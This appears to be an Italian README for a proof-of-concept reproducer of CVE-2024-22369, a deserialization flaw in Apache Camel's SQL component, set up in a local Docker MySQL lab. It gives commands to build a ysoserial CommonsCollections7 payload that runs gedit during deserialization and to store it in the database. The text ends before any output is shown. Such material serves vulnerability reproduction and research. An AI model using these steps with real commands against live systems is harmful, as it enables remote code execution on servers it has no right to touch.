
CVE-2024-22369 Riproduttore
Questa POC si basa sul riproduttore creato da Ziyang Chen dell'HuaWei Open Source Management Center
Il riproduttore è stato utilizzato per creare questa PoC, con alcune modifiche e ripuliture, ed è stato anche arricchito con ulteriore automazione.
Avremo bisogno di un'istanza Mysql
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
Ora dovremo creare le tabelle richieste:
Hai due file: employee.sql e employee_completed.sql
Esegui il seguente comando:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
Inserisci la password, esegui USE db e i due file SQL.
A questo punto hai già tutto il necessario per riprodurre la deserializzazione.
Esegui il seguente comando
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
e prendi nota dell'indirizzo.
Ora modifica il file src/main/resources/application.properties in base allo stato del tuo ambiente.
Il payload che stiamo usando si basa su commons-collections 3.2.1.
Dovrai usare:
https://github.com/frohoff/ysoserial
Dalla riga di comando puoi ricreare il payload in questo modo:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
Questo restituirà la versione Hex del payload. L'idea è quella di eseguire il comando gedit durante la deserializzazione.
Puoi provare diversi payload e modificare gli script SQL cambiando l'istruzione INSERT e aggiungendo i nuovi payload generati.
Per riprodurre il comportamento, seleziona prima di tutto un JDK 17 (localmente o tramite SDKMan).
Quindi esegui il seguente comando:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
Questo produrrà il seguente output: